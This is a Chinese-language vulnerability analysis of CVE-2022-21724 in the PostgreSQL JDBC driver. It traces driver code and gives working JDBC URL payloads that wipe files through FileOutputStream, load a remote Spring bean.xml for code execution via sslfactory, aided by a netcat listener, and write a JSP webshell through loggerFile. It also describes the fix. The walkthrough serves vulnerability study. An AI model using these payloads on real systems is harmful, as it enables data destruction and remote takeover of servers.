PostgreSQL
PostgreSQL JDBC(CVE-2022-21724)
漏洞简介
在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassName
、sslhostnameverifier
、socketFactory
、sslfactory
、sslpasswordcallback
连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
影响范围:
1 | 9.4.1208 <=PgJDBC <42.2.25 |
漏洞复现
添加依赖
1 | <dependency> |
编写测试代码
1 | import java.sql.Connection; |
bean.xml
1 | <beans xmlns="http://www.springframework.org/schema/beans" |
任意代码执行 socketFactory/socketFactoryArg
org.postgresql.Driver#connect⽅法最后调⽤了makeConnection⽅法,⽅法实例化了⼀个PgConnection对象
1 | private static Connection makeConnection(String url, Properties props) throws SQLException { |
跟进这个对象的构造⽅法,其中会调⽤ConnectionFactory.openConnection⽅法
1 | this.queryExecutor = ConnectionFactory.openConnection(hostSpecs, user, database, info); |
跟进openConnection⽅法,会实例化⼀个ConnectionFactoryImpl,然后调⽤它的openConnectionImpl⽅法
1 | ConnectionFactory connectionFactory = new ConnectionFactoryImpl(); |
调⽤了SocketFactoryFactory.getSocketFactory⽅法
1 | SocketFactory socketFactory = SocketFactoryFactory.getSocketFactory(info); |
跟进getSocketFactory⽅法
1 | public static SocketFactory getSocketFactory(Properties info) throws PSQLException { |
⾸先是socketFactoryClassName的获取,在info中获取socketFactory的值,默认值为nul
其中info记录着扩展信息,host,数据库名,port等信息,那么可以通过扩展参数设置socketFactory的值
我们需要设置socketFactory不为空,以利⽤ObjectFactory.instantiate⽅法,跟进这个⽅法
1 | public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException { |
这⾥会通过反射实例化classname类名 ,而这里传入的是我们可控的socketFactory
这⾥tryString为true,我留意到中间的if语句,其中stringarg也可以通过扩展参数进⾏控制,传入的是
1 | PGProperty.SOCKET_FACTORY_ARG.get(info) |
跟进这个发现,从get()
1 | SOCKET_FACTORY_ARG("socketFactoryArg", (String)null, "Argument forwarded to constructor of SocketFactory class."), |
问题就在于我们要实例化哪个类呢?这个类⼜能对web应⽤造成伤害,需要这个类的构造⽅法只有⼀个参数,⽽且参数类型为String
java.io.FileOutputStream类
对应构造⽅法
1
2
3public FileOutputStream(String name) throws FileNotFoundException {
this(name != null ? new File(name) : null, false);
}如果指定的⽂件已经存在,并且append设置为false,则⽂件的内容将被清空,并写⼊新的数据。 那么可以利⽤这个类清空⽂件内容
payload
1
jdbc:postgresql://localhost:5432/baicany?socketFactory=java.io.FileOutputStream&socketFactoryArg=/Users/baicany/Desktop/baicany
org.springframework.context.support.ClassPathXmlApplicationContext类
实例化ClassPathXmlApplicationContext类,可以加载并解析classpath下指定的XML配置⽂件,从⽽创建⼀个包含所有配置的应 ⽤上下⽂。
1 | public ClassPathXmlApplicationContext(String configLocation) throws BeansException { |
调用另外一个重载方法
1 | public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent) throws BeansException { |
在refresh⽅法中,会调⽤obtainFreshBeanFactory⽅法,该⽅法内⼜会调⽤refreshBeanFactory⽅法
1 | protected ConfigurableListableBeanFactory obtainFreshBeanFactory() { |
跟进refreshBeanFactory
1 | try { |
调⽤loadBeanDefinitions⽅法,会⼀直调⽤到AbstractXmlApplicationContext#loadBeanDefinitions⽅法
1 | protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { |
configResources默认为空,那么会获取ConfigLocations作为classpath去加载并且解析xml
那么需要⼀个恶意xml⽂件,poc通过SpEL表达式来造成RCE
任意代码执⾏ sslfactory/sslfactoryarg
回到ConnectionFactoryImpl#openConnectionImpl⽅法,除了调⽤SocketFactoryFactory.getSocketFactory⽅法,还调⽤了 tryConnect⽅法可以利⽤(主要关注info的出处,数据可控)
1 | newStream = this.tryConnect(user, database, info, socketFactory, hostSpec, sslMode, gssEncMode); |
跟进tryConnect方法
1 | if (!newStream.isGssEncrypted()) { |
默认isGssEncrypted⽅法返回为false,调⽤了enableSSL⽅法 在enableSSL⽅法找到info出处
1 | int beresp = pgStream.receiveChar(); |
进⼊对应switch case语句还需通过pgStream.receiveChar⽅法判断,需要响应的第⼀个字⺟为S
那么就会调⽤org.postgresql.ssl.MakeSSL.convert⽅法,⽅法中调⽤了SocketFactoryFactory.getSslSocketFactory⽅法
1 | SSLSocketFactory factory = SocketFactoryFactory.getSslSocketFactory(info); |
在getSslSocketFactory⽅法中,同样调⽤了ObjectFactory.instantiate⽅法进⾏实例化类
和上面差不多
1 | SocketFactory socketFactory = SocketFactoryFactory.getSocketFactory(info); |
由sslfactory和sslfactoryarg两个扩展参数传递
payload:
1 | jdbc:postgresql://localhost:1234/baicany?sslfactory=org.springframework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://127.0.0.1:8080/bean.xml |
现在需要解决PostgreSQL响应的第⼀个字⺟为S
开启⼀个监听
1 | nc -l -p 1234 |
向监听端⼝发起jdbc请求,此时程序发⽣阻塞,键⼊S后,将成功代码执⾏
任意⽂件写⼊ loggerLevel/loggerFile
在org.postgresql.Driver#connect⽅法下,在执⾏makeConnection⽅法前,还会调⽤setupLoggerFromProperties⽅法
1 | String driverLogLevel = PGProperty.LOGGER_LEVEL.get(props); |
想要继续往下调⽤,需要driverLogLevel不为null
1 | LOGGER_LEVEL("loggerLevel", (String)null, "Logger level of the driver", false, new String[]{"OFF", "DEBUG", "TRACE"}), |
默认为null,可以通过扩展参数修改
1 | loggerLevel=DEBUG |
继续往下发现
1 | String driverLogFile = PGProperty.LOGGER_FILE.get(exprProps); |
需要driverLogFile不为空,才行
表⽰⽇志⽂件的保存位置,LOGGER.log⽅法能向⽇志⽂件写⼊信息
利⽤这个思路可做JSP WebShell,将JSP恶意代码添加进URL中,然后⼀起写进⽂件中
exp:
1 | jdbc:postgresql://localhost:5432/baicany?loggerLevel=DEBUG&loggerFile=/Users/baicany/Desktop/baicany.jsp&shellcode |
漏洞修复
针对代码执行的漏洞而言,要求获取的类名必须是指定类的子类,否则就抛出异常
对于任意⽂件写⼊⽽⾔,⾼版本中移除了对⽇志⽂件的设定操作 setupLoggerFromProperties(props);